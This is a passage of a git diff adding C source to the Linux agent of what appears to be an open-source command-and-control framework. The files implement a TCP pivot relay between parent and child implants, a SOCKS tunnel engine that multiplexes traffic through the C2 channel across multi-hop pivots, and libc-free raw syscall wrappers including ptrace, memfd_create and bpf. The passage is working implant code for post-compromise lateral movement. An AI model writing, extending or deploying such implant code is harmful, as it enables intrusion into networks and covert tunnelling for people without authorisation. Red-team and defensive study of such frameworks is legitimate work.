mp_writer_t cmd; + mp_writer_init(&cmd, 128); + mp_write_map(&cmd, 3); + mp_write_kv_uint(&cmd, "code", COMMAND_PIVOT_EXEC); + mp_write_kv_uint(&cmd, "id", 0); + mp_write_kv_bin(&cmd, "data", inner.buf.data, (uint32_t)inner.buf.len); + + // Append to the objects array + mp_write_bin(objects_writer, cmd.buf.data, (uint32_t)cmd.buf.len); + + mp_writer_free(&inner); + mp_writer_free(&cmd); + ax_free(msg_data); + appended++; + } else { + // Connection lost — auto-disconnect + sys_close(fd); + + // Build unlink notification + mp_writer_t inner; + mp_writer_init(&inner, 32); + mp_write_map(&inner, 2); + mp_write_kv_uint(&inner, "pivot_id", ctx->entries[i].id); + mp_write_kv_uint(&inner, "type", PIVOT_TYPE_DISCONNECT); + + mp_writer_t cmd; + mp_writer_init(&cmd, 64); + mp_write_map(&cmd, 3); + mp_write_kv_uint(&cmd, "code", COMMAND_UNLINK); + mp_write_kv_uint(&cmd, "id", 0); + mp_write_kv_bin(&cmd, "data", inner.buf.data, (uint32_t)inner.buf.len); + + mp_write_bin(objects_writer, cmd.buf.data, (uint32_t)cmd.buf.len); + + mp_writer_free(&inner); + mp_writer_free(&cmd); + + ctx->entries[i].active = 0; + ctx->entries[i].fd = -1; + ctx->count--; + appended++; + } + } + } + + return appended; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/pivot.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/pivot.h new file mode 100644 index 000000000..75b18dece --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/pivot.h @@ -0,0 +1,60 @@ +#ifndef PIVOT_H +#define PIVOT_H + +#include "types.h" +#include "msgpack.h" +#include + +/// TCP pivot relay -- allows parent agent to relay traffic to/from child agents +/// on non-routable networks. Linux-only, TCP transport. +/// +/// Flow: +/// 1. Teamserver sends COMMAND_LINK(address, port) to parent agent +/// 2. Parent connects to child via TCP, reads handshake (4B watermark + beat) +/// 3. Parent returns {type, watermark, beat} to teamserver +/// 4. Teamserver sends COMMAND_PIVOT_EXEC(pivotId, data) for relay to child +/// 5. Parent polls child sockets in process_pivots(), relays data back +/// 6. Teamserver sends COMMAND_UNLINK(pivotId) to tear down + +#define MAX_PIVOTS 32 + +typedef struct { + uint32_t id; /* pivot ID = task ID from COMMAND_LINK */ + int fd; /* TCP socket to child agent */ + int active; /* 1 = live, 0 = free slot */ +} pivot_entry_t; + +typedef struct { + pivot_entry_t entries[MAX_PIVOTS]; + int count; +} pivot_context_t; + +/// Initialize pivot context +void pivots_init(pivot_context_t *ctx); + +/// Link: connect to child agent at address:port, read handshake, +/// store pivot entry. Writes response data to `response`. +/// Returns 0 on success, -1 on error. +int pivot_link_tcp(pivot_context_t *ctx, uint32_t task_id, + const char *address, int port, + mp_writer_t *response); + +/// Unlink: close a pivot by ID. Writes response to `response`. +/// Returns 0 on success, -1 if not found. +int pivot_unlink(pivot_context_t *ctx, uint32_t pivot_id, + mp_writer_t *response); + +/// Write data to a pivot's child agent (relay from teamserver). +/// Used for COMMAND_PIVOT_EXEC from server→child direction. +int pivot_write(pivot_context_t *ctx, uint32_t pivot_id, + const uint8_t *data, uint32_t data_len); + +/// Poll all active pivots for incoming data from child agents. +/// Appends relay response objects to `objects_writer` (msgpack array context). +/// Returns the number of pivot data objects appended. +int process_pivots(pivot_context_t *ctx, mp_writer_t *objects_writer); + +/// Global pivot context (defined in pivot.c) +extern pivot_context_t g_pivot_ctx; + +#endif /* PIVOT_H */ diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/proxyfire.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/proxyfire.c new file mode 100644 index 000000000..90e665992 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/proxyfire.c @@ -0,0 +1,536 @@ +/// proxyfire.c -- MUX tunnel engine for SOCKS proxy (beacon Proxyfire pattern) +/// +/// All tunnel data is packed into the main communication channel. +/// Zero threads -- non-blocking polling in main loop via process_tunnels(). + +#include "proxyfire.h" +#include "jobs.h" +#include "crt.h" +#include "types.h" + +#ifdef BUILD_SO +#include "elf_resolve.h" +#else +#ifdef ARCH_X86_64 +#include "syscalls_x64.h" +#endif +#ifdef ARCH_AARCH64 +#include "syscalls_aarch64.h" +#endif +#endif + +// ── Constants ── + +#ifndef AF_INET +#define AF_INET 2 +#define SOCK_STREAM 1 +#define SOL_SOCKET 1 +#define SO_ERROR 4 +#endif +#ifndef O_NONBLOCK +#define O_NONBLOCK 04000 +#endif +#ifndef F_SETFL +#define F_SETFL 4 +#define F_GETFL 3 +#endif +#ifndef EINPROGRESS +#define EINPROGRESS 115 +#endif + +#define RECV_CHUNK_SIZE (64 * 1024) /* 64 KB per tunnel per cycle */ +#define MAX_OBJ_SIZE (4 * 1024 * 1024) /* stop RecvProxy if collector > 4MB */ + +// ── Abstraction macros (same as tasks_net.c) ── + +#ifdef BUILD_SO +#define PF_socket(d,t,p) R_socket(d,t,p) +#define PF_connect(s,a,l) R_connect(s,a,l) +#define PF_close(fd) R_close(fd) +#define PF_read(fd,b,n) R_read(fd,b,n) +#define PF_write(fd,b,n) R_write(fd,b,n) +#define PF_fcntl(fd,c,a) R_fcntl(fd,c,a) +#define PF_getsockopt(s,l,o,v,n) R_getsockopt(s,l,o,v,n) +#define PF_select(n,r,w,e,t) R_select(n,r,w,e,t) +#else +#define PF_socket(d,t,p) sys_socket(d,t,p) +#define PF_connect(s,a,l) sys_connect(s,a,l) +#define PF_close(fd) sys_close(fd) +#define PF_read(fd,b,n) sys_read(fd,b,n) +#define PF_write(fd,b,n) sys_write(fd,b,n) +#define PF_fcntl(fd,c,a) sys_fcntl(fd,c,a) +#define PF_getsockopt(s,l,o,v,n) sys_getsockopt(s,l,o,v,n) +#endif + +// ── fd_set (manual, no libc) ── + +typedef struct { + unsigned long fds_bits[1024 / (8 * sizeof(unsigned long))]; +} pf_fd_set; + +static void pf_fd_zero(pf_fd_set *s) { + ax_memset(s, 0, sizeof(pf_fd_set)); +} + +static void pf_fd_set_bit(int fd, pf_fd_set *s) { + s->fds_bits[fd / (8 * sizeof(unsigned long))] |= (1UL << (fd % (8 * sizeof(unsigned long)))); +} + +static int pf_fd_is_set(int fd, pf_fd_set *s) { + return (s->fds_bits[fd / (8 * sizeof(unsigned long))] >> (fd % (8 * sizeof(unsigned long)))) & 1; +} + +/// pselect6 wrapper with zero timeout (non-blocking poll) +static int pf_select_zero(int nfds, pf_fd_set *rfds, pf_fd_set *wfds) { +#ifdef BUILD_SO + struct { long tv_sec; long tv_usec; } tv = {0, 0}; + return PF_select(nfds, rfds, wfds, (void*)0, &tv); +#else + struct linux_timespec ts = { .tv_sec = 0, .tv_nsec = 0 }; + return sys_pselect6(nfds, rfds, wfds, (void*)0, &ts, (void*)0); +#endif +} + +/// Get a monotonic-ish timestamp (seconds). For connect timeout tracking. +static uint32_t pf_now_sec(void) { +#ifdef BUILD_SO + // SO mode -- no clock_gettime resolved, use nanosleep-based counter + // Actually just use a simple counter incremented by main loop ticks. + // For simplicity, we use the jiffies approach: read /proc/uptime. + // But that's heavy. Instead, track elapsed via tunnel connect_start. + // Return 0 — caller uses diff, so we need actual time. + // Fallback: read /proc/uptime + static uint32_t cached = 0; + int fd = R_open("/proc/uptime", 0, 0); + if (fd >= 0) { + char buf[32] = {0}; + R_read(fd, buf, sizeof(buf) - 1); + R_close(fd); + // Parse integer part of uptime + uint32_t secs = 0; + for (int i = 0; buf[i] && buf[i] != '.'; i++) { + if (buf[i] >= '0' && buf[i] <= '9') + secs = secs * 10 + (buf[i] - '0'); + } + cached = secs; + } + return cached; +#else + // Static mode: read /proc/uptime via syscall + int fd = sys_open("/proc/uptime", 0 /*O_RDONLY*/, 0); + if (fd >= 0) { + char buf[32] = {0}; + sys_read(fd, buf, sizeof(buf) - 1); + sys_close(fd); + uint32_t secs = 0; + for (int i = 0; buf[i] && buf[i] != '.'; i++) { + if (buf[i] >= '0' && buf[i] <= '9') + secs = secs * 10 + (buf[i] - '0'); + } + return secs; + } + return 0; +#endif +} + +// ── Helper: pack a tunnel response Command into obj_collector ── + +static void pack_tunnel_cmd(mp_writer_t *collector, uint32_t code, + const uint8_t *inner_data, uint32_t inner_len) { + mp_writer_t cmd; + mp_writer_init(&cmd, 128); + mp_write_map(&cmd, 3); + mp_write_kv_uint(&cmd, "code", code); + mp_write_kv_uint(&cmd, "id", 0); + mp_write_kv_bin(&cmd, "data", inner_data, inner_len); + + mp_write_bin(collector, cmd.buf.data, (uint32_t)cmd.buf.len); + mp_writer_free(&cmd); +} + +/// Pack TUNNEL_STATUS {channel_id, success, reason} +static void pack_tunnel_status(mp_writer_t *collector, int channel_id, + int success, int reason) { + mp_writer_t inner; + mp_writer_init(&inner, 32); + mp_write_map(&inner, 3); + mp_write_kv_int(&inner, "channel_id", channel_id); + mp_write_kv_bool(&inner, "success", success ? true : false); + mp_write_kv_int(&inner, "reason", reason); + + pack_tunnel_cmd(collector, COMMAND_TUNNEL_STATUS, + inner.buf.data, (uint32_t)inner.buf.len); + mp_writer_free(&inner); +} + +/// Pack TUNNEL_DATA {channel_id, data} +static void pack_tunnel_data(mp_writer_t *collector, int channel_id, + const uint8_t *data, uint32_t len) { + mp_writer_t inner; + mp_writer_init(&inner, 32 + len); + mp_write_map(&inner, 2); + mp_write_kv_int(&inner, "channel_id", channel_id); + mp_write_kv_bin(&inner, "data", data, len); + + pack_tunnel_cmd(collector, COMMAND_TUNNEL_DATA, + inner.buf.data, (uint32_t)inner.buf.len); + mp_writer_free(&inner); +} + +/// Pack TUNNEL_CLOSE {channel_id, reason} +static void pack_tunnel_close(mp_writer_t *collector, int channel_id, int reason) { + mp_writer_t inner; + mp_writer_init(&inner, 32); + mp_write_map(&inner, 2); + mp_write_kv_int(&inner, "channel_id", channel_id); + mp_write_kv_int(&inner, "reason", reason); + + pack_tunnel_cmd(collector, COMMAND_TUNNEL_CLOSE, + inner.buf.data, (uint32_t)inner.buf.len); + mp_writer_free(&inner); +} + +// ── Parse IP:port and create non-blocking socket ── + +static int parse_and_connect(const char *address, int *out_fd) { + char host_buf[256] = {0}; + uint16_t port = 0; + const char *colon = (const char *)0; + + for (const char *p = address; *p; p++) { + if (*p == ':') colon = p; + } + if (!colon) return -1; + + size_t hlen = (size_t)(colon - address); + if (hlen >= sizeof(host_buf)) return -1; + ax_memcpy(host_buf, address, hlen); + host_buf[hlen] = '\0'; + + for (const char *p = colon + 1; *p >= '0' && *p <= '9'; p++) + port = port * 10 + (uint16_t)(*p - '0'); + if (port == 0) return -1; + + struct { + uint16_t sin_family; + uint16_t sin_port; + uint32_t sin_addr; + uint8_t sin_zero[8]; + } addr; + ax_memset(&addr, 0, sizeof(addr)); + addr.sin_family = AF_INET; + addr.sin_port = ((port >> 8) & 0xFF) | ((port & 0xFF) << 8); + + uint32_t octets[4] = {0}; + int oidx = 0; + for (const char *p = host_buf; *p && oidx < 4; p++) { + if (*p == '.') oidx++; + else if (*p >= '0' && *p <= '9') octets[oidx] = octets[oidx] * 10 + (*p - '0'); + } + addr.sin_addr = octets[0] | (octets[1] << 8) | (octets[2] << 16) | (octets[3] << 24); + + int fd = PF_socket(AF_INET, SOCK_STREAM, 0); + if (fd < 0) return -1; + + // Non-blocking + PF_fcntl(fd, F_SETFL, O_NONBLOCK); + + int cr = PF_connect(fd, &addr, sizeof(addr)); + if (cr == 0) { + // Immediate success (unlikely but possible on localhost) + *out_fd = fd; + return 1; // 1 = already connected + } + + // Check for EINPROGRESS (connection in progress) + // On Linux, connect() returns -EINPROGRESS for static syscalls + // and -1 with errno=EINPROGRESS for libc. We check both patterns. + if (cr == -EINPROGRESS || cr == -1) { + *out_fd = fd; + return 0; // 0 = connecting + } + + PF_close(fd); + return -1; // error +} + +// ══════════════════════════════════════════════════════ +// Public API +// ══════════════════════════════════════════════════════ + +int proxy_connect_tcp(int tunnel_idx, const char *address) { + job_context_t *ctx = &g_job_ctx; + tunnel_entry_t *tun = &ctx->tunnels[tunnel_idx]; + + int fd = -1; + int ret = parse_and_connect(address, &fd); + + if (ret < 0) { + // Immediate failure + tun->client_fd = -1; + tun->state = TUNNEL_STATE_CLOSED; + return -1; + } + + tun->client_fd = fd; + if (ret == 1) { + // Already connected + tun->state = TUNNEL_STATE_READY; + } else { + // Connection in progress + tun->state = TUNNEL_STATE_CONNECTING; + tun->connect_start = pf_now_sec(); + } + + return 0; +} + +void proxy_write_tcp(int channel_id, const uint8_t *data, uint32_t len) { + job_context_t *ctx = &g_job_ctx; + + jobs_mutex_lock(&ctx->tunnels_mutex); + int idx = tunnels_find(ctx, channel_id); + if (idx < 0) { + jobs_mutex_unlock(&ctx->tunnels_mutex); + return; + } + + tunnel_entry_t *tun = &ctx->tunnels[idx]; + if (!tun->active || tun->state == TUNNEL_STATE_CLOSED) { + jobs_mutex_unlock(&ctx->tunnels_mutex); + return; + } + + // Grow write_buf if needed + uint32_t needed = tun->write_len + len; + if (needed > tun->write_cap) { + uint32_t new_cap = tun->write_cap ? tun->write_cap : 4096; + while (new_cap < needed) new_cap *= 2; + uint8_t *new_buf = (uint8_t *)ax_realloc(tun->write_buf, new_cap); + if (!new_buf) { + jobs_mutex_unlock(&ctx->tunnels_mutex); + return; + } + tun->write_buf = new_buf; + tun->write_cap = new_cap; + } + + ax_memcpy(tun->write_buf + tun->write_len, data, len); + tun->write_len += len; + jobs_mutex_unlock(&ctx->tunnels_mutex); +} + +void proxy_pause(int channel_id) { + job_context_t *ctx = &g_job_ctx; + jobs_mutex_lock(&ctx->tunnels_mutex); + int idx = tunnels_find(ctx, channel_id); + if (idx >= 0) ctx->tunnels[idx].paused = 1; + jobs_mutex_unlock(&ctx->tunnels_mutex); +} + +void proxy_resume(int channel_id) { + job_context_t *ctx = &g_job_ctx; + jobs_mutex_lock(&ctx->tunnels_mutex); + int idx = tunnels_find(ctx, channel_id); + if (idx >= 0) ctx->tunnels[idx].paused = 0; + jobs_mutex_unlock(&ctx->tunnels_mutex); +} + +void proxy_close(int channel_id) { + job_context_t *ctx = &g_job_ctx; + jobs_mutex_lock(&ctx->tunnels_mutex); + int idx = tunnels_find(ctx, channel_id); + if (idx >= 0) { + ctx->tunnels[idx].state = TUNNEL_STATE_CLOSED; + } + jobs_mutex_unlock(&ctx->tunnels_mutex); +} + +// ══════════════════════════════════════════════════════ +// process_tunnels -- main loop polling (beacon pattern) +// ══════════════════════════════════════════════════════ + +int process_tunnels(mp_writer_t *obj_collector) { + job_context_t *ctx = &g_job_ctx; + int appended = 0; + uint32_t now = pf_now_sec(); + + // ──────────────────────────────────────── + // Stage 1: CheckProxy -- poll connecting sockets + // ──────────────────────────────────────── + for (int i = 0; i < MAX_TUNNELS; i++) { + if (!ctx->tunnels[i].active) continue; + if (ctx->tunnels[i].state != TUNNEL_STATE_CONNECTING) continue; + + tunnel_entry_t *tun = &ctx->tunnels[i]; + + // Timeout check + if (now - tun->connect_start > TUNNEL_CONNECT_TIMEOUT) { + PF_close(tun->client_fd); + tun->client_fd = -1; + tun->state = TUNNEL_STATE_CLOSED; + pack_tunnel_status(obj_collector, tun->channel_id, 0, 4 /*timeout*/); + appended++; + continue; + } + + // Poll for writability (connect complete) + pf_fd_set wfds; + pf_fd_zero(&wfds); + pf_fd_set_bit(tun->client_fd, &wfds); + + int sr = pf_select_zero(tun->client_fd + 1, (pf_fd_set *)0, &wfds); + if (sr <= 0) continue; // not ready yet + + if (pf_fd_is_set(tun->client_fd, &wfds)) { + int err = 0; + unsigned int errlen = sizeof(err); + PF_getsockopt(tun->client_fd, SOL_SOCKET, SO_ERROR, &err, &errlen); + + if (err == 0) { + tun->state = TUNNEL_STATE_READY; + pack_tunnel_status(obj_collector, tun->channel_id, 1, 0); + } else { + PF_close(tun->client_fd); + tun->client_fd = -1; + tun->state = TUNNEL_STATE_CLOSED; + pack_tunnel_status(obj_collector, tun->channel_id, 0, 5 /*refused*/); + } + appended++; + } + } + + // ──────────────────────────────────────── + // Stage 2: FlushProxy -- write buffered data to target sockets + // ──────────────────────────────────────── + for (int i = 0; i < MAX_TUNNELS; i++) { + if (!ctx->tunnels[i].active) continue; + if (ctx->tunnels[i].state != TUNNEL_STATE_READY) continue; + if (ctx->tunnels[i].write_len == 0) continue; + + tunnel_entry_t *tun = &ctx->tunnels[i]; + + // Non-blocking write + long n = PF_write(tun->client_fd, tun->write_buf, tun->write_len); + if (n > 0) { + // Shift remaining data + uint32_t remaining = tun->write_len - (uint32_t)n; + if (remaining > 0) { + // Use manual byte-by-byte copy (memmove equivalent, safe for overlap) + uint8_t *dst = tun->write_buf; + uint8_t *src = tun->write_buf + n; + for (uint32_t j = 0; j < remaining; j++) + dst[j] = src[j]; + } + tun->write_len = remaining; + + // Check backpressure: if we were paused and buffer dropped, send RESUME + if (tun->agent_paused && tun->write_len < TUNNEL_LOW_WATERMARK) { + tun->agent_paused = 0; + // Pack TUNNEL_RESUME as response to teamserver + mp_writer_t inner; + mp_writer_init(&inner, 16); + mp_write_map(&inner, 1); + mp_write_kv_int(&inner, "channel_id", tun->channel_id); + pack_tunnel_cmd(obj_collector, COMMAND_TUNNEL_RESUME, + inner.buf.data, (uint32_t)inner.buf.len); + mp_writer_free(&inner); + appended++; + } + } else if (n == 0 || (n < 0 && n != -11 /*EAGAIN*/)) { + // Write error or EOF → close + tun->state = TUNNEL_STATE_CLOSED; + } + + // Backpressure: buffer too large → tell teamserver to pause + if (!tun->agent_paused && tun->write_len > TUNNEL_HIGH_WATERMARK) { + tun->agent_paused = 1; + mp_writer_t inner; + mp_writer_init(&inner, 16); + mp_write_map(&inner, 1); + mp_write_kv_int(&inner, "channel_id", tun->channel_id); + pack_tunnel_cmd(obj_collector, COMMAND_TUNNEL_PAUSE, + inner.buf.data, (uint32_t)inner.buf.len); + mp_writer_free(&inner); + appended++; + } + + // Hard cap: kill the channel + if (tun->write_len > TUNNEL_HARD_CAP) { + tun->state = TUNNEL_STATE_CLOSED; + } + } + + // ──────────────────────────────────────── + // Stage 3: RecvProxy -- read from target sockets, pack TUNNEL_DATA + // ──────────────────────────────────────── + uint8_t recv_buf[RECV_CHUNK_SIZE]; + + for (int i = 0; i < MAX_TUNNELS; i++) { + if (!ctx->tunnels[i].active) continue; + if (ctx->tunnels[i].state != TUNNEL_STATE_READY) continue; + if (ctx->tunnels[i].paused) continue; + + // Stop if collector is already large (packer size limit) + if (obj_collector->buf.len > (int)MAX_OBJ_SIZE) break; + + tunnel_entry_t *tun = &ctx->tunnels[i]; + + // Non-blocking read check + pf_fd_set rfds; + pf_fd_zero(&rfds); + pf_fd_set_bit(tun->client_fd, &rfds); + + int sr = pf_select_zero(tun->client_fd + 1, &rfds, (pf_fd_set *)0); + if (sr <= 0) continue; + + if (pf_fd_is_set(tun->client_fd, &rfds)) { + long n = PF_read(tun->client_fd, recv_buf, RECV_CHUNK_SIZE); + if (n > 0) { + pack_tunnel_data(obj_collector, tun->channel_id, + recv_buf, (uint32_t)n); + appended++; + } else if (n == 0) { + // EOF — target closed the connection + tun->state = TUNNEL_STATE_CLOSED; + } else if (n != -11 /*EAGAIN*/) { + // Read error + tun->state = TUNNEL_STATE_CLOSED; + } + } + } + + // ──────────────────────────────────────── + // Stage 4: CloseProxy -- cleanup closed tunnels + // ──────────────────────────────────────── + for (int i = 0; i < MAX_TUNNELS; i++) { + if (!ctx->tunnels[i].active) continue; + if (ctx->tunnels[i].state != TUNNEL_STATE_CLOSED) continue; + + tunnel_entry_t *tun = &ctx->tunnels[i]; + + // Close socket if still open + if (tun->client_fd >= 0) { + PF_close(tun->client_fd); + tun->client_fd = -1; + } + + // Free write buffer + if (tun->write_buf) { + ax_free(tun->write_buf); + tun->write_buf = (uint8_t *)0; + } + tun->write_len = 0; + tun->write_cap = 0; + + // Pack close notification + pack_tunnel_close(obj_collector, tun->channel_id, 0); + appended++; + + // Mark slot as free + tun->active = 0; + tun->channel_id = 0; + } + + return appended; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/proxyfire.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/proxyfire.h new file mode 100644 index 000000000..909f6e394 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/proxyfire.h @@ -0,0 +1,50 @@ +#ifndef PROXYFIRE_H +#define PROXYFIRE_H + +#include "types.h" +#include "jobs.h" +#include "msgpack.h" +#include + +/// Proxyfire -- MUX tunnel engine for SOCKS proxy +/// +/// Pattern: beacon's Proxyfire.cpp, adapted for Linux (syscalls/libc). +/// All tunnel I/O is muxed into the main communication channel so it +/// traverses any pivot chain (2, 3, 4+ hops). +/// +/// Flow: +/// teamserver → COMMAND_TUNNEL_START → proxy_connect_tcp() +/// teamserver → COMMAND_TUNNEL_WRITE → proxy_write_tcp() +/// teamserver → COMMAND_TUNNEL_PAUSE → proxy_pause() +/// teamserver → COMMAND_TUNNEL_RESUME → proxy_resume() +/// teamserver → COMMAND_TUNNEL_STOP → proxy_close() +/// main loop → process_tunnels() → packs TUNNEL_STATUS/DATA/CLOSE into obj_collector + +/// Start an async TCP connection to address (host:port). +/// The tunnel entry is allocated in g_job_ctx by the caller (task_tunnel_start). +/// Returns 0 on success (connection in progress), -1 on immediate error. +int proxy_connect_tcp(int tunnel_idx, const char *address); + +/// Queue data from teamserver to be written to the target socket. +/// Data is buffered in tunnel_entry_t.write_buf and flushed by process_tunnels(). +void proxy_write_tcp(int channel_id, const uint8_t *data, uint32_t len); + +/// Pause reading from the target socket (teamserver backpressure). +void proxy_pause(int channel_id); + +/// Resume reading from the target socket. +void proxy_resume(int channel_id); + +/// Close a tunnel by channel_id. +void proxy_close(int channel_id); + +/// Main loop polling function -- called every tick alongside process_pivots(). +/// Performs 4 stages (beacon pattern): +/// 1. CheckProxy -- poll connecting sockets, pack TUNNEL_STATUS +/// 2. FlushProxy -- write buffered data to target sockets +/// 3. RecvProxy -- read from target sockets, pack TUNNEL_DATA +/// 4. CloseProxy -- cleanup closed tunnels, pack TUNNEL_CLOSE +/// Returns number of objects appended to obj_collector. +int process_tunnels(mp_writer_t *obj_collector); + +#endif /* PROXYFIRE_H */ diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/syscalls_aarch64.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/syscalls_aarch64.h new file mode 100644 index 000000000..0b4af9985 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/syscalls_aarch64.h @@ -0,0 +1,438 @@ +#ifndef SYSCALLS_AARCH64_H +#define SYSCALLS_AARCH64_H + +#ifdef ARCH_AARCH64 + +#include +#include + +/// Linux ARM64 syscall numbers (different from macOS ARM64!) +/// macOS uses x16 + svc #0x80 — Linux uses x8 + svc #0 +#define __NR_ioctl 29 +#define __NR_fcntl 25 +#define __NR_openat 56 +#define __NR_close 57 +#define __NR_read 63 +#define __NR_write 64 +#define __NR_fstatat 79 +#define __NR_fstat 80 +#define __NR_exit 93 +#define __NR_exit_group 94 +#define __NR_kill 129 +#define __NR_getpid 172 +#define __NR_getuid 174 +#define __NR_geteuid 175 +#define __NR_ptrace 117 +#define __NR_clone 220 +#define __NR_execve 221 +#define __NR_mmap 222 +#define __NR_mprotect 226 +#define __NR_munmap 215 +#define __NR_socket 198 +#define __NR_connect 203 +#define __NR_accept 202 +#define __NR_bind 200 +#define __NR_listen 201 +#define __NR_setsockopt 208 +#define __NR_getsockopt 209 +#define __NR_getcwd 17 +#define __NR_chdir 49 +#define __NR_mkdirat 34 +#define __NR_unlinkat 35 +#define __NR_renameat 38 +#define __NR_getdents64 61 +#define __NR_dup3 24 +#define __NR_pipe2 59 +#define __NR_prctl 167 +#define __NR_utimensat 88 +#define __NR_bpf 280 +#define __NR_getrandom 278 +#define __NR_memfd_create 279 +#define __NR_waitid 95 +#define __NR_wait4 260 +#define __NR_nanosleep 101 +#define __NR_setsid 157 +#define __NR_setpgid 154 +#define __NR_pselect6 72 + +/// Raw syscall wrappers — inline assembly +/// Convention: x8=nr, x0-x5=args, svc #0 + +static inline long raw_syscall0(long number) { + register long x8 __asm__("x8") = number; + register long x0 __asm__("x0"); + __asm__ volatile( + "svc #0" + : "=r"(x0) + : "r"(x8) + : "memory", "cc" + ); + return x0; +} + +static inline long raw_syscall1(long number, long a0) { + register long x8 __asm__("x8") = number; + register long x0 __asm__("x0") = a0; + __asm__ volatile( + "svc #0" + : "+r"(x0) + : "r"(x8) + : "memory", "cc" + ); + return x0; +} + +static inline long raw_syscall2(long number, long a0, long a1) { + register long x8 __asm__("x8") = number; + register long x0 __asm__("x0") = a0; + register long x1 __asm__("x1") = a1; + __asm__ volatile( + "svc #0" + : "+r"(x0) + : "r"(x8), "r"(x1) + : "memory", "cc" + ); + return x0; +} + +static inline long raw_syscall3(long number, long a0, long a1, long a2) { + register long x8 __asm__("x8") = number; + register long x0 __asm__("x0") = a0; + register long x1 __asm__("x1") = a1; + register long x2 __asm__("x2") = a2; + __asm__ volatile( + "svc #0" + : "+r"(x0) + : "r"(x8), "r"(x1), "r"(x2) + : "memory", "cc" + ); + return x0; +} + +static inline long raw_syscall4(long number, long a0, long a1, long a2, long a3) { + register long x8 __asm__("x8") = number; + register long x0 __asm__("x0") = a0; + register long x1 __asm__("x1") = a1; + register long x2 __asm__("x2") = a2; + register long x3 __asm__("x3") = a3; + __asm__ volatile( + "svc #0" + : "+r"(x0) + : "r"(x8), "r"(x1), "r"(x2), "r"(x3) + : "memory", "cc" + ); + return x0; +} + +static inline long raw_syscall5(long number, long a0, long a1, long a2, long a3, long a4) { + register long x8 __asm__("x8") = number; + register long x0 __asm__("x0") = a0; + register long x1 __asm__("x1") = a1; + register long x2 __asm__("x2") = a2; + register long x3 __asm__("x3") = a3; + register long x4 __asm__("x4") = a4; + __asm__ volatile( + "svc #0" + : "+r"(x0) + : "r"(x8), "r"(x1), "r"(x2), "r"(x3), "r"(x4) + : "memory", "cc" + ); + return x0; +} + +static inline long raw_syscall6(long number, long a0, long a1, long a2, long a3, long a4, long a5) { + register long x8 __asm__("x8") = number; + register long x0 __asm__("x0") = a0; + register long x1 __asm__("x1") = a1; + register long x2 __asm__("x2") = a2; + register long x3 __asm__("x3") = a3; + register long x4 __asm__("x4") = a4; + register long x5 __asm__("x5") = a5; + __asm__ volatile( + "svc #0" + : "+r"(x0) + : "r"(x8), "r"(x1), "r"(x2), "r"(x3), "r"(x4), "r"(x5) + : "memory", "cc" + ); + return x0; +} + +/// Convenience wrappers + +// Note: ARM64 Linux has no open() — use openat(AT_FDCWD, ...) +#define AT_FDCWD -100 + +static inline int sys_openat(int dirfd, const char *path, int flags, int mode) { + return (int)raw_syscall4(__NR_openat, dirfd, (long)path, flags, mode); +} + +static inline int sys_open(const char *path, int flags, int mode) { + return sys_openat(AT_FDCWD, path, flags, mode); +} + +static inline int sys_close(int fd) { + return (int)raw_syscall1(__NR_close, fd); +} + +static inline long sys_read(int fd, void *buf, size_t count) { + return raw_syscall3(__NR_read, fd, (long)buf, count); +} + +static inline long sys_write(int fd, const void *buf, size_t count) { + return raw_syscall3(__NR_write, fd, (long)buf, count); +} + +static inline int sys_getpid(void) { + return (int)raw_syscall0(__NR_getpid); +} + +static inline int sys_getuid(void) { + return (int)raw_syscall0(__NR_getuid); +} + +static inline int sys_geteuid(void) { + return (int)raw_syscall0(__NR_geteuid); +} + +static inline int sys_kill(int pid, int sig) { + return (int)raw_syscall2(__NR_kill, pid, sig); +} + +static inline long sys_ptrace(long request, long pid, void *addr, void *data) { + return raw_syscall4(__NR_ptrace, request, pid, (long)addr, (long)data); +} + +static inline void *sys_mmap(void *addr, size_t length, int prot, int flags, int fd, long offset) { + return (void*)raw_syscall6(__NR_mmap, (long)addr, length, prot, flags, fd, offset); +} + +static inline int sys_munmap(void *addr, size_t length) { + return (int)raw_syscall2(__NR_munmap, (long)addr, length); +} + +static inline int sys_mprotect(void *addr, size_t length, int prot) { + return (int)raw_syscall3(__NR_mprotect, (long)addr, length, prot); +} + +static inline int sys_execve(const char *pathname, char *const argv[], char *const envp[]) { + return (int)raw_syscall3(__NR_execve, (long)pathname, (long)argv, (long)envp); +} + +static inline int sys_getcwd(char *buf, size_t size) { + return (int)raw_syscall2(__NR_getcwd, (long)buf, size); +} + +static inline int sys_chdir(const char *path) { + return (int)raw_syscall1(__NR_chdir, (long)path); +} + +static inline int sys_getdents64(int fd, void *dirp, unsigned int count) { + return (int)raw_syscall3(__NR_getdents64, fd, (long)dirp, count); +} + +static inline int sys_dup3(int oldfd, int newfd, int flags) { + return (int)raw_syscall3(__NR_dup3, oldfd, newfd, flags); +} + +// dup2 emulated via dup3(oldfd, newfd, 0) +static inline int sys_dup2(int oldfd, int newfd) { + return sys_dup3(oldfd, newfd, 0); +} + +static inline int sys_pipe2(int pipefd[2], int flags) { + return (int)raw_syscall2(__NR_pipe2, (long)pipefd, flags); +} + +static inline int sys_ioctl(int fd, unsigned long request, unsigned long arg) { + return (int)raw_syscall3(__NR_ioctl, fd, request, arg); +} + +static inline int sys_fcntl(int fd, int cmd, long arg) { + return (int)raw_syscall3(__NR_fcntl, fd, cmd, arg); +} + +static inline long sys_getrandom(void *buf, size_t buflen, unsigned int flags) { + return raw_syscall3(__NR_getrandom, (long)buf, buflen, flags); +} + +static inline int sys_memfd_create(const char *name, unsigned int flags) { + return (int)raw_syscall2(__NR_memfd_create, (long)name, flags); +} + +static inline int sys_prctl(int option, unsigned long a2, unsigned long a3, unsigned long a4, unsigned long a5) { + return (int)raw_syscall5(__NR_prctl, option, a2, a3, a4, a5); +} + +static inline long sys_bpf(int cmd, void *attr, unsigned int size) { + return raw_syscall3(__NR_bpf, cmd, (long)attr, size); +} + +static inline void sys_exit_group(int status) { + 